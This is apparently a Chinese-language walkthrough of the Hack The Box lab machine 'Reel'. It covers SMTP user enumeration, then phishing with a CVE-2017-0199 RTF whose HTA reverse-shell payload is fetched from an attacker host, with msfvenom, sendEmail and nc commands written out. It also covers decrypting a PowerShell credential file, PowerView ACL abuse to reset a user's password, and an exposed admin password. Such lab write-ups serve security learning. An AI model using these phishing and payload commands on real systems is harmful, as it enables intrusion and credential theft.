set nu显示行号vim中
端口扫描
ftp匿名登入,有一个目录 documents
包含三个文档
prompt
mget *
查看readme.txt
我们可以看到有人正在等待一封带有 RTF 格式文档附件的电子邮件。这让我们想到,如果我们能够获取电子邮件地址,则可能会向收件人发送网络钓鱼电子邮件。
.docx文件,查看一下
exiftool Windows\ Event\ Forwarding.docx
得到一个电子邮件: nico@megabank.com
smtp使用(smtp-enum-users工具)
telnet登入 telnet 10.129.8.71 25
先手动测试
似乎接受任何用户 @reel.htb
HELO 0xdf.com 250 Hello.
MAIL FROM: FOFO@aol.com
250 OK
RCPT TO: FOFO@megabank.com
550 Unknown user RCPT TO: nico@megabank.com
250 OK RCPT TO: nico@reel.htb 250 OK
RCPT TO: admin@reel.htb
250 OK
RCPT TO: FOFO@reel.htb
250 OK
-
HELO/EHLO
:这些命令发出 “Hello” 并在客户端和服务器之间启动 SMTP 连接。“HELO
” 是该命令的基本版本;“EHLO
” 用于一种特别类型的 SMTP。 -
MAIL FROM
:这个命令告诉服务器谁在发送该电子邮件。如果 Alice 试图给她的朋友 Bob 发电子邮件,客户端可能会发送 “MAIL FROM:alice@example.com”。 -
RCPT TO
:这个命令用于列出电子邮件的收件人。如果有多个收件人,客户端可多次发送该命令。如上例子中,Alice 的电子邮件客户端将发送: “RCPT TO: bob@example.com"。 -
DATA
:这个命令放在电子邮件的内容前,例如:
DATA Date: Mon, 4 April 2022 From: Alice alice@example.com Subject: Eggs benedict casserole To: Bob bob@example.com Hi Bob, I will bring the eggs benedict casserole recipe on Friday. -Alice .
-
RSET
:该命令重置连接,删除所有以前传输的信息,但不关闭 SMTP 连接。RSET
在客户端发送了错误信息的情况下使用。 -
QUIT
:结束连接。
PentestMonkey 有一个脚本 smtp-enum-users
,它将尝试用三种模式枚举 SMTP 用户。我将生成一个要检查的用户列表
smtp-user-enum -M RCPT -U test-users.txt -t 10.10.10.77
-M RCPT
表示使用RCPT(Recipient)模式,该模式主要用于验证电子邮件服务器上的有效用户。
它看起来就像域中带有 htb 的任何内容,并且 nico@megabank.com
返回为有效
使用RTF钓鱼
在 Reel 发布时,有一个流行的 RTF 漏洞 CVE-2017-0199,在广泛的攻击中非常常用。 Metasploit 模块描述很好地从高层解释了它:
描述:该模块创建一个恶意 RTF 文件,当在易受攻击的 Microsoft Word 版本中打开该文件时,将导致代码执行。该缺陷存在于 olelink 对象如何发出 http(s) 请求并执行 hta 代码作为响应的方式中。该漏洞最初是从 2016 年 10 月开始在野外被利用的。该模块是通过逆向公共恶意软件样本创建的。
RTF文件(Rich Text Format):
-
定义: RTF是一种文本文件格式,旨在存储文本文档的格式化信息,例如字体、颜色和样式,而无需包含实际的二进制图像或多媒体数据。
-
用途: RTF文件通常用于在不同的文本编辑器和文档处理应用程序之间共享文本文档,因为RTF格式允许在不同应用程序之间保留文本文档的格式和外观。
-
注意事项: 尽管RTF文件主要用于文本文档,但要小心处理未知来源的RTF文件,因为它们可能包含恶意代码或链接。
HTA文件(HTML Application):
-
定义: HTA是一种由HTML和脚本组成的文件格式,它允许在本地系统上执行包含JavaScript、VBScript等脚本的HTML代码。HTA文件通常拥有本地系统的权限,并可以执行强大的系统操作。
-
用途: HTA文件常用于创建桌面应用程序或执行一些系统管理任务。由于其能够本地执行脚本并访问系统资源的特性,HTA文件可能被滥用用于恶意目的,如在渗透测试中。
-
注意事项: 由于HTA文件具有执行本地脚本的能力,打开未知来源的HTA文件可能存在风险,因为它们可能包含恶意脚本。
为了利用 CVE-2017-0199,我会让用户打开一个恶意 RTF 文件,该文件将对 HTA 文件发出 HTTP 请求。我希望该 HTA 文件执行代码来给我一个 shell。
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.11 LPORT=443 -f hta-psh -o msfv.hta
生成hta文件木马
python CVE-2017-0199/cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.14.3/msfv.hta -t rtf -x 0
-
-M gen
:指定模式为“gen”,表示要生成恶意文档。 -
-w invoice.rtf
:将输出文件名指定为“invoice.rtf”。 -
-u http://10.10.14.3/msfv.hta
:指定负载的 URL,该负载是托管在“ http://10.10.14.3/msfv.hta ”的 HTA 文件。 -
-t rtf
:指定要生成的文档类型为 RTF。 -
-x 0
:指定要在文档中使用的图标。在本例中,它设置为 0。准备好文档后,我将启动一个 python http.server 来提供 hta 文件,启动一个 nc 侦听器来捕获我的 shell,然后发送网络钓鱼。我将使用
sendemail
以下选项:
sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.10.10.77 -v
您提供的命令似乎是尝试使用sendEmail
命令行工具发送电子邮件。以下是您使用的选项的详细说明:
-
-f 0xdf@megabank.com
:指定“发件人”电子邮件地址。 -
-t nico@megabank.com
:指定“收件人”电子邮件地址。 -
-u "Invoice Attached"
:指定电子邮件主题。 -
-m "You are overdue payment"
:指定电子邮件消息。 -
-a invoice.rtf
:将名为“invoice.rtf”的文件附加到电子邮件中。 -
-s 10.10.10.77
:指定 SMTP 服务器的 IP 地址(假设10.10.10.77
在本例中)。 -
-v
:启用详细模式,为调试提供更详细的输出。
nc -lvnp 443
Powershell 凭据(SecureString、PSCredentials)
在nico的桌面上,有一个文件cred.xml
: 里面说 PSCredential ,还有一些密码和账号
PowerShell 有一个名为 PSCredential 的对象,它提供了一种存储用户名、密码和凭据的方法。还有两个函数Import-CliXml
和Export-CliXml
,用于将这些凭据保存到文件中以及从文件中恢复它们。该文件是 的输出Export-CliXml
。
我可以通过使用 加载文件Import-CliXml
,然后转储结果来从文件中获取明文密码:
C:\Users\nico\Desktop>powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *" UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB powershell -c:这部分命令正在启动 PowerShell 解释器的新实例,并指定应执行以下命令。 $cred = Import-CliXml -Path cred.xml: Import-CliXml:此 cmdlet 用于从 CliXml 文件(cred.xml在本例中)导入数据。 -Path cred.xml:指定包含要导入的序列化对象(如凭据)的 CliXml 文件的路径。 $cred:将导入的数据分配给变量$cred。 $cred.GetNetworkCredential() | Format-List *: $cred.GetNetworkCredential():这会调用GetNetworkCredential()对象的方法$cred。该GetNetworkCredential()方法用于检索NetworkCredential与存储的凭证关联的对象。UserName该对象包含、Password、Domain等属性。 |:这是管道运算符,它获取左侧的输出并将其作为输入传递到右侧。 Format-List *:此 cmdlet 将输出格式化为列表(*表示所有属性)并显示它。这是一种可视化对象属性的方法NetworkCredential
ssh tom@10.10.10.77
Tom 的桌面上有一个名为“AD Audit”的目录。其中,有一个note.txt
:
发现:
令人惊讶的是,没有从用户到域管理员的 AD 攻击路径(使用默认的最短路径查询)。
也许我们应该对我们创建的其他组重新运行 Cypher 查询。
更深一些的目录,有更多的文件:
ACL 分析 - 手动
C:\users\tom\desktop\AD Audit\BloodHound\Ingestors> dir Directory: C:\users\tom\desktop\AD Audit\BloodHound\Ingestors Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 11/16/2017 11:50 PM 112225 acls.csv -a--- 10/28/2017 9:50 PM 3549 BloodHound.bin -a--- 10/24/2017 4:27 PM 246489 BloodHound_Old.ps1 -a--- 10/24/2017 4:27 PM 568832 SharpHound.exe -a--- 10/24/2017 4:27 PM 636959 SharpHound.ps1
acls.cvs
看起来特别有趣。把它拉回来。C
ObjectName | ObjectType | ObjectGuid | PrincipalName | PrincipalType | ActiveDirectoryRights | ACEType | AccessControlType | IsInherited |
---|---|---|---|---|---|---|---|---|
herman@HTB.LOCAL | USER | nico@HTB.LOCAL | USER | WriteOwner | AccessAllowed | False |
Scanning for Active Directory Privileges & Privileged Accounts – Active Directory Security 有时间可以看看,里面是对权限的解释等
LibreOffice Calc(又称Calc) 是LibreOffice生产力软件的项目之一。是与Microsoft Excel功能相当的电子表格软件,并可以开启或存储为Microsoft Excel的文件格式,也可存为.pdf格式。
CSV 代表“逗号分隔值”。它是一种简单且广泛使用的文件格式,用于以纯文本形式存储表格数据(数字和文本),其中文件的每一行代表一行数据,每行内的值用逗号(或其他分隔符)分隔。
这一行表示对于 USER 对象 herman,nico 具有 WriteOwner 权限。adsecurity.org 上的这篇博客文章详细介绍了这些权利如何运作以及如何利用它们,但这使 nico 对 Herman 有很大的控制权。
我将把 csv 加载到 LibreOffice Calc 中,将数据设置到带有过滤器的表格中,然后冻结标题行。然后,要查看 Tom 拥有哪些对象的权限,我将对 Tom 进行过滤:
所以 Tom 对 claire 拥有 WriteOwner 权限:
如果我对 claire 执行相同的过滤器,我将看到 claire 对 Backup_Admins 组对象具有 WriteDacl 权限:
Backup_Admins 有提权的可能
提权
writeowner权限修改ACL从而修改密码
利用bloodhound
该WriteOwner
权限是 Windows 安全和访问控制上下文中的特定权限。此权限允许用户或组修改对象的所有者。换句话说,它授予更改被视为特定资源所有者的安全主体的能力。以下是与权限相关的关键概念的简要说明WriteOwner
:
-
所有者: Windows 中的每个安全对象(例如文件、文件夹、注册表项等)都有一个关联的所有者。所有者通常是安全主体(用户或组),被认为是对象的主要权限。所有者拥有与该对象相关的某些权利和责任。
-
WriteOwner 权限:该
WriteOwner
权限允许用户或组更改对象的所有者。这意味着他们可以将所有权转移给另一个安全主体。
要移至 claire 帐户,我将使用 WriteOwner 权限以及 PowerView 的功能来执行以下步骤:
-
成为claire’s ACL的控制者
-
利用ACL权限更改密码
ACL 代表“访问控制列表”。ACL 是与对象关联的权限或规则列表,指定哪些用户或系统进程被授予访问该对象的权限以及允许他们执行哪些操作。
在操作系统、文件系统和网络资源的上下文中,ACL 用于控制对各种资源(例如文件、目录和网络共享)的访问。ACL 定义谁可以访问资源、他们可以执行哪些操作(例如读、写、执行)以及在什么条件下执行
需要PowerView 和 PowerShell(powershell直接输入命令powershell就可以)
接下来,我将把 Tom 设置为 claire 的 ACL 的所有者:
Set-DomainObjectOwner -identity claire -OwnerIdentity tom
接下来,我将授予 Tom 更改该 ACL 上的密码的权限:
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
现在,我将创建一个凭据,然后设置克莱尔的密码:
$cred = ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force
Set-DomainUserPassword -identity claire -accountpassword $cred
利用该密码
ssh claire@10.10.10.77
Backup_Admins组
通过之前的分析,我知道claire对Backup_Admins组有WriteDacl权限。我可以用它来将她添加到群组中。首先,查看该组的唯一成员是 ranj:
net group backup_admins
现在添加克莱尔:
net group backup_admins claire /add
net group backup_admins 可以看到有他了
尽管事实上它显示克莱尔现在在群组中,但我必须注销并重新登录才能使其生效
以 claire 身份返回 Backup_Admins,我可以检查Administrator 文件夹的权限但是看不了root,txt,来到以下目录
claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>dir
查看脚本,在最顶部BackupScript.ps1
,有这样的内容:
# admin password $password="Cr4ckMeIfYouC4n!"
使用管理员密码,我可以以管理员身份 ssh 登录,并获取标志:
ssh administrator@10.10.10.77
python cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.16.11/msfv.hta -t rtf -x 0